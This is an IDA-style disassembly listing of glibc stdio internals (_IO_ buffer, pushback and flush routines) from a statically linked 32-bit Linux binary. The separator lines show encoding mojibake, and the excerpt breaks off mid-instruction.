.text:08061D7Cj test esi, esi jg short loc_8061DA0 xor esi, esi jmp short loc_8061E07 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061DA0: ; CODE XREF: .text:08061D9Aj mov edi, [ebp+8] mov edx, [edi+4] lea ecx, [esi-1] test ecx, ecx jl short loc_8061E01 mov eax, ecx not eax and eax, 3 cmp ecx, 0FFFFFFFFh jle short loc_8061DD7 test eax, eax jz short loc_8061DE0 cmp eax, 3 jge short loc_8061DD7 cmp eax, 2 jge short loc_8061DD0 mov al, [edx] mov [ebx], al inc edx inc ebx lea ecx, [esi-2] loc_8061DD0: ; CODE XREF: .text:08061DC5j mov al, [edx] mov [ebx], al inc edx inc ebx dec ecx loc_8061DD7: ; CODE XREF: .text:08061DB7j ; .text:08061DC0j mov al, [edx] mov [ebx], al inc edx inc ebx dec ecx js short loc_8061E01 loc_8061DE0: ; CODE XREF: .text:08061DBBj ; .text:08061DFFj mov al, [edx] mov [ebx], al mov al, [edx+1] mov [ebx+1], al mov al, [edx+2] mov [ebx+2], al mov al, [edx+3] mov [ebx+3], al add edx, 4 add ebx, 4 add ecx, 0FFFFFFFCh jns short loc_8061DE0 loc_8061E01: ; CODE XREF: .text:08061DABj ; .text:08061DDEj mov edi, [ebp+8] mov [edi+4], edx loc_8061E07: ; CODE XREF: .text:08061D94j ; .text:08061D9Ej sub [ebp-4], esi loc_8061E0A: ; CODE XREF: .text:08061D6Bj cmp dword ptr [ebp-4], 0 jz short loc_8061E25 mov edi, [ebp+8] push edi call sub_8061A70 add esp, 4 cmp eax, 0FFFFFFFFh jnz loc_8061D60 loc_8061E25: ; CODE XREF: .text:08061E0Ej mov eax, [ebp+10h] sub eax, [ebp-4] lea esp, [ebp-10h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061E44 proc near ; CODE XREF: .text:08060F70p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] mov eax, [ebx+50h] push ebx mov eax, [eax+5Ch] call eax add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_8061E68 xor eax, eax jmp short loc_8061EBC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061E68: ; CODE XREF: sub_8061E44+1Ej test esi, esi jz short loc_8061E70 test edi, edi jnz short loc_8061E80 loc_8061E70: ; CODE XREF: sub_8061E44+26j or byte ptr [ebx], 2 push 0 lea eax, [ebx+48h] push eax lea eax, [ebx+47h] push eax jmp short loc_8061E8A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061E80: ; CODE XREF: sub_8061E44+2Aj and dword ptr [ebx], 0FFFFFFFDh push 0 lea eax, [edi+esi] push eax push esi loc_8061E8A: ; CODE XREF: sub_8061E44+39j push ebx call sub_8061B6C mov dword ptr [ebx+18h], 0 mov dword ptr [ebx+14h], 0 mov dword ptr [ebx+10h], 0 mov dword ptr [ebx+8], 0 mov dword ptr [ebx+4], 0 mov dword ptr [ebx+0Ch], 0 mov eax, ebx loc_8061EBC: ; CODE XREF: sub_8061E44+22j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061E44 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov edx, [ebp+8] mov ecx, [ebp+0Ch] mov eax, [ebp+10h] mov ebx, [edx+50h] push eax push 0 push ecx push edx mov eax, [ebx+44h] call eax mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] push 0 push 0FFFFFFFFh push 22h push 3 push 400h push 0 call mmap mov edx, eax add esp, 18h cmp edx, 0FFFFFFFFh jz short loc_8061F28 push 1 lea eax, [edx+400h] push eax push edx push ebx call sub_8061B6C mov eax, 1 jmp short loc_8061F2D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061F28: ; CODE XREF: .text:08061F0Fj mov eax, 0FFFFFFFFh loc_8061F2D: ; CODE XREF: .text:08061F26j mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061F34 proc near ; CODE XREF: _IO_fopen+23p ; _IO_vsprintf+15p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] or edx, 0FBAD0000h mov [eax], edx mov dword ptr [eax+1Ch], 0 mov dword ptr [eax+20h], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+4], 0 mov dword ptr [eax+8], 0 mov dword ptr [eax+10h], 0 mov dword ptr [eax+14h], 0 mov dword ptr [eax+18h], 0 mov dword ptr [eax+34h], 0 mov dword ptr [eax+24h], 0 mov dword ptr [eax+28h], 0 mov dword ptr [eax+2Ch], 0 mov dword ptr [eax+30h], 0 mov word ptr [eax+44h], 0 mov dword ptr [eax+38h], 0FFFFFFFFh mov esp, ebp pop ebp retn sub_8061F34 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000006F BYTES: COLLAPSED FUNCTION _IO_default_finish. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov edx, [ebp+0Ch] mov eax, [ebx+4] cmp [ebx+0Ch], eax jnb short loc_806205C cmp [eax-1], dl jnz short loc_806205C dec dword ptr [ebx+4] movzx eax, dl jmp short loc_8062066 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806205C: ; CODE XREF: .text:0806204Cj ; .text:08062051j mov eax, [ebx+50h] push edx push ebx mov eax, [eax+2Ch] call eax loc_8062066: ; CODE XREF: .text:08062059j cmp eax, 0FFFFFFFFh jz short loc_806206E and dword ptr [ebx], 0FFFFFFEFh loc_806206E: ; CODE XREF: .text:08062069j mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov eax, [ebx+4] cmp [ebx+0Ch], eax jnb short loc_8062094 dec dword ptr [ebx+4] mov eax, [ebx+4] movzx eax, byte ptr [eax] jmp short loc_806209F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062094: ; CODE XREF: .text:08062085j mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+2Ch] call eax loc_806209F: ; CODE XREF: .text:08062090j cmp eax, 0FFFFFFFFh jz short loc_80620A7 and dword ptr [ebx], 0FFFFFFEFh loc_80620A7: ; CODE XREF: .text:080620A2j mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov dx, [ebp+0Ch] inc dx mov [eax+44h], dx xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80620C8 proc near ; CODE XREF: sub_8060FA8+72p ; .text:0806217Dp var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] lea edx, [esi+ebx] cmp edx, ebx jbe short loc_8062144 mov ecx, edx mov eax, ebx sub eax, edx and eax, 3 cmp edx, ebx jle short loc_8062101 test eax, eax jz short loc_806210C cmp eax, 3 jge short loc_8062101 cmp eax, 2 jge short loc_80620FB dec edx cmp byte ptr [edx], 0Ah jz short loc_8062138 loc_80620FB: ; CODE XREF: sub_80620C8+2Bj dec edx cmp byte ptr [edx], 0Ah jz short loc_8062138 loc_8062101: ; CODE XREF: sub_80620C8+1Dj ; sub_80620C8+26j dec edx cmp byte ptr [edx], 0Ah jz short loc_8062138 jmp short loc_8062140 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806210C: ; CODE XREF: sub_80620C8+21j ; sub_80620C8+7Aj lea eax, [edx-1] cmp byte ptr [edx-1], 0Ah jz short loc_8062127 lea eax, [edx-2] cmp byte ptr [edx-2], 0Ah jz short loc_8062127 lea eax, [edx-3] cmp byte ptr [edx-3], 0Ah jnz short loc_8062130 loc_8062127: ; CODE XREF: sub_80620C8+4Bj ; sub_80620C8+54j sub ecx, eax mov eax, ecx dec eax jmp short loc_8062149 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062130: ; CODE XREF: sub_80620C8+5Dj add edx, 0FFFFFFFCh cmp byte ptr [edx], 0Ah jnz short loc_8062140 loc_8062138: ; CODE XREF: sub_80620C8+31j ; sub_80620C8+37j ... mov eax, ecx sub eax, edx dec eax jmp short loc_8062149 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062140: ; CODE XREF: sub_80620C8+3Fj ; sub_80620C8+6Ej cmp edx, ebx ja short loc_806210C loc_8062144: ; CODE XREF: sub_80620C8+10j mov eax, [ebp+arg_0] add eax, esi loc_8062149: ; CODE XREF: sub_80620C8+64j ; sub_80620C8+75j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80620C8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] cmp word ptr [edx+44h], 0 jnz short loc_806216C mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806216C: ; CODE XREF: .text:0806215Fj mov eax, [edx+14h] sub eax, [edx+10h] push eax mov eax, [edx+10h] push eax movzx eax, word ptr [edx+44h] dec eax push eax call sub_80620C8 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062188 proc near ; CODE XREF: abort+1Dp exit+61p ... var_8 = byte ptr -8 push ebp mov ebp, esp push esi push ebx xor esi, esi mov ebx, off_80787F8 test ebx, ebx jz short loc_80621C3 lea esi, [esi+0] loc_806219C: ; CODE XREF: sub_8062188+39j mov eax, [ebx+14h] cmp [ebx+10h], eax jnb short loc_80621BC mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+14h] call eax add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_80621BC mov esi, 0FFFFFFFFh loc_80621BC: ; CODE XREF: sub_8062188+1Aj ; sub_8062188+2Dj mov ebx, [ebx+34h] test ebx, ebx jnz short loc_806219C loc_80621C3: ; CODE XREF: sub_8062188+Fj mov eax, esi lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8062188 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80621D0 proc near ; CODE XREF: _IO_file_underflow+2Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ebx mov ebx, off_80787F8 test ebx, ebx jz short loc_80621FB lea esi, [esi] loc_80621E0: ; CODE XREF: sub_80621D0+29j test byte ptr [ebx+1], 2 jz short loc_80621F4 mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+14h] call eax add esp, 8 loc_80621F4: ; CODE XREF: sub_80621D0+14j mov ebx, [ebx+34h] test ebx, ebx jnz short loc_80621E0 loc_80621FB: ; CODE XREF: sub_80621D0+Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80621D0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062204 proc near ; CODE XREF: .text:08062240p var_4 = dword ptr -4 push ebp mov ebp, esp push ebx mov ebx, off_80787F8 test ebx, ebx jz short loc_8062230 lea esi, [esi] loc_8062214: ; CODE XREF: sub_8062204+2Aj test byte ptr [ebx], 2 jnz short loc_8062229 mov eax, [ebx+50h] push 0 push 0 push ebx mov eax, [eax+54h] call eax add esp, 0Ch loc_8062229: ; CODE XREF: sub_8062204+13j mov ebx, [ebx+34h] test ebx, ebx jnz short loc_8062214 loc_8062230: ; CODE XREF: sub_8062204+Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8062204 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp call sub_8062188 call sub_8062204 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+8] mov ebx, [ebp+0Ch] mov [esi+4], ebx test byte ptr [ebx+1], 8 jz short loc_8062266 push ebx call sub_806186C loc_8062266: ; CODE XREF: .text:0806225Ej test byte ptr [ebx+1], 1 jz short loc_8062274 mov edx, [ebx+4] sub edx, [ebx+8] jmp short loc_806227A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062274: ; CODE XREF: .text:0806226Aj mov edx, [ebx+4] sub edx, [ebx+0Ch] loc_806227A: ; CODE XREF: .text:08062272j mov [esi+8], edx mov eax, [ebx+30h] mov [esi], eax mov [ebx+30h], esi lea esp, [ebp-8] pop ebx pop esi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov edx, [eax+4] add edx, 30h cmp dword ptr [edx], 0 jz short loc_80622B7 lea esi, [esi+0] loc_80622A4: ; CODE XREF: .text:080622B5j cmp [edx], eax jnz short loc_80622B0 mov eax, [eax] mov [edx], eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80622B0: ; CODE XREF: .text:080622A6j mov edx, [edx] cmp dword ptr [edx], 0 jnz short loc_80622A4 loc_80622B7: ; CODE XREF: .text:0806229Fj mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [ebp+0Ch] mov edx, [edx+8] sub edx, [eax+8] mov eax, edx mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] cmp dword ptr [edx+4], 0 jnz short loc_80622EC mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80622EC: ; CODE XREF: .text:080622DEj mov eax, [edx+4] test byte ptr [eax+1], 1 jz short loc_8062300 mov ecx, [eax+4] sub ecx, [eax+8] jmp short loc_8062309 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062300: ; CODE XREF: .text:080622F3j mov eax, [edx+4] mov ecx, [eax+4] sub ecx, [eax+0Ch] loc_8062309: ; CODE XREF: .text:080622FBj mov eax, ecx mov edx, [edx+8] sub edx, eax mov eax, edx mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+8] mov esi, [ebp+0Ch] cmp [esi+4], ebx jz short loc_8062330 mov eax, 0FFFFFFFFh jmp short loc_806235F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062330: ; CODE XREF: .text:08062326j cmp dword ptr [esi+8], 0 jl short loc_8062348 test byte ptr [ebx+1], 1 jz short loc_8062342 push ebx call sub_806180C loc_8062342: ; CODE XREF: .text:0806233Aj mov edx, [ebx+0Ch] jmp short loc_8062357 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062348: ; CODE XREF: .text:08062334j test byte ptr [ebx+1], 1 jnz short loc_8062354 push ebx call sub_806183C loc_8062354: ; CODE XREF: .text:0806234Cj mov edx, [ebx+8] loc_8062357: ; CODE XREF: .text:08062345j add edx, [esi+8] mov [ebx+4], edx xor eax, eax loc_806235F: ; CODE XREF: .text:0806232Dj lea esp, [ebp-8] pop ebx pop esi mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062368 proc near ; CODE XREF: sub_8060D44+21p ; .text:0806143Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp dword ptr [eax+30h], 0 jz short loc_806237B mov dword ptr [eax+30h], 0 loc_806237B: ; CODE XREF: sub_8062368+Aj cmp dword ptr [eax+24h], 0 jz short loc_8062387 push eax call sub_80618D4 loc_8062387: ; CODE XREF: sub_8062368+17j mov esp, ebp pop ebp retn sub_8062368 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] mov ecx, [ebp+0Ch] mov eax, [edx+4] cmp [edx+0Ch], eax jnb short loc_80623A0 dec dword ptr [edx+4] loc_80623A0: ; CODE XREF: .text:0806239Bj cmp ecx, 0FFFFFFFFh jz short loc_80623B1 mov edx, [edx+4] movzx eax, byte ptr [edx] cmp eax, ecx jz short loc_80623B1 mov [edx], cl loc_80623B1: ; CODE XREF: .text:080623A3j ; .text:080623ADj movzx eax, cl mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80623B8 proc near ; CODE XREF: _IO_str_pbackfail+1Ep var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov edi, [ebp+arg_0] mov eax, [edi+4] cmp [edi+0Ch], eax jb loc_8062474 cmp dword ptr [edi+24h], 0 jz short loc_80623EB test byte ptr [edi+1], 1 jnz short loc_80623E5 push edi call sub_806183C add esp, 4 loc_80623E5: ; CODE XREF: sub_80623B8+22j cmp dword ptr [edi+24h], 0 jnz short loc_8062414 loc_80623EB: ; CODE XREF: sub_80623B8+1Cj push 80h call malloc add esp, 4 test eax, eax jz short loc_8062438 mov [edi+24h], eax add eax, 80h mov [edi+2Ch], eax mov [edi+28h], eax push edi call sub_806183C jmp short loc_8062474 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062414: ; CODE XREF: sub_80623B8+31j mov eax, [edi+4] cmp [edi+0Ch], eax jb short loc_8062474 mov esi, [edi+8] sub esi, [edi+0Ch] lea ecx, [esi+esi] mov [ebp+var_4], ecx push ecx call malloc mov [ebp+var_8], eax add esp, 4 test eax, eax jnz short loc_8062440 loc_8062438: ; CODE XREF: sub_80623B8+42j mov eax, 0FFFFFFFFh jmp short loc_8062493 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062440: ; CODE XREF: sub_80623B8+7Ej mov ebx, [ebp+var_4] sub ebx, esi mov eax, [edi+0Ch] add ebx, [ebp+var_8] push esi push eax push ebx call memcpy add esp, 0Ch mov eax, [edi+0Ch] push eax call free mov ecx, [ebp+var_8] mov [edi+0Ch], ecx mov [edi+4], ebx add ecx, [ebp+var_4] mov [edi+8], ecx mov eax, [edi+4] mov [edi+28h], eax loc_8062474: ; CODE XREF: sub_80623B8+12j ; sub_80623B8+58j ... dec dword ptr [edi+4] cmp [ebp+arg_4], 0FFFFFFFFh jz short loc_806248D mov edx, [edi+4] movzx eax, byte ptr [edx] cmp [ebp+arg_4], eax jz short loc_806248D mov cl, byte ptr [ebp+arg_4] mov [edx], cl loc_806248D: ; CODE XREF: sub_80623B8+C3j ; sub_80623B8+CEj mov eax, [edi+4] movzx eax, byte ptr [eax] loc_8062493: ; CODE XREF: sub_80623B8+85j lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80623B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000062 BYTES: COLLAPSED FUNCTION _IO_fputs. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000A5 BYTES: COLLAPSED FUNCTION _IO_padn. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000A0 BYTES: COLLAPSED FUNCTION _IO_perror. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _IO_seekoff. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000004A BYTES: COLLAPSED FUNCTION _IO_setbuffer. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000171 BYTES: COLLAPSED FUNCTION _itoa. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION snprintf. PRESS KEYPAD "+" TO EXPAND] ; [0000004D BYTES: COLLAPSED FUNCTION vsnprintf. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80628F8 proc near ; CODE XREF: sub_8062D4C+347p ; sub_8062D4C+577p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov [ebp+var_4], ecx mov esi, [ebp+arg_0] xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx push ebx call malloc mov edi, eax add esp, 4 test edi, edi jz short loc_8062934 push ebx push esi push edi call memcpy mov eax, edi jmp short loc_8062936 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062934: ; CODE XREF: sub_80628F8+2Cj xor eax, eax loc_8062936: ; CODE XREF: sub_80628F8+38j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80628F8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062940 proc near ; CODE XREF: sub_8062D4C+6B4p ; sub_8062D4C+84Fp var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push edi push esi push ebx mov [ebp+var_4], ecx mov [ebp+var_20], 0 mov [ebp+var_28], 1 mov [ebp+var_4C], 0 lea esi, [esi+0] loc_8062964: ; CODE XREF: sub_8062940+132j cmp [ebp+arg_0], 6 jnz short loc_8062978 mov edx, [ebp+var_4C] mov esi, [ebp+arg_4] mov ebx, [esi+edx*4] jmp short loc_8062992 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062978: ; CODE XREF: sub_8062940+28j mov edx, [ebp+var_4C] cmp [ebp+arg_0], edx jnz short loc_8062988 mov esi, [ebp+arg_4] mov ebx, [esi] jmp short loc_8062992 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062988: ; CODE XREF: sub_8062940+3Ej mov edx, [ebp+var_4C] mov ebx, dword_80790BC[edx*4] loc_8062992: ; CODE XREF: sub_8062940+33j ; sub_8062940+45j xor 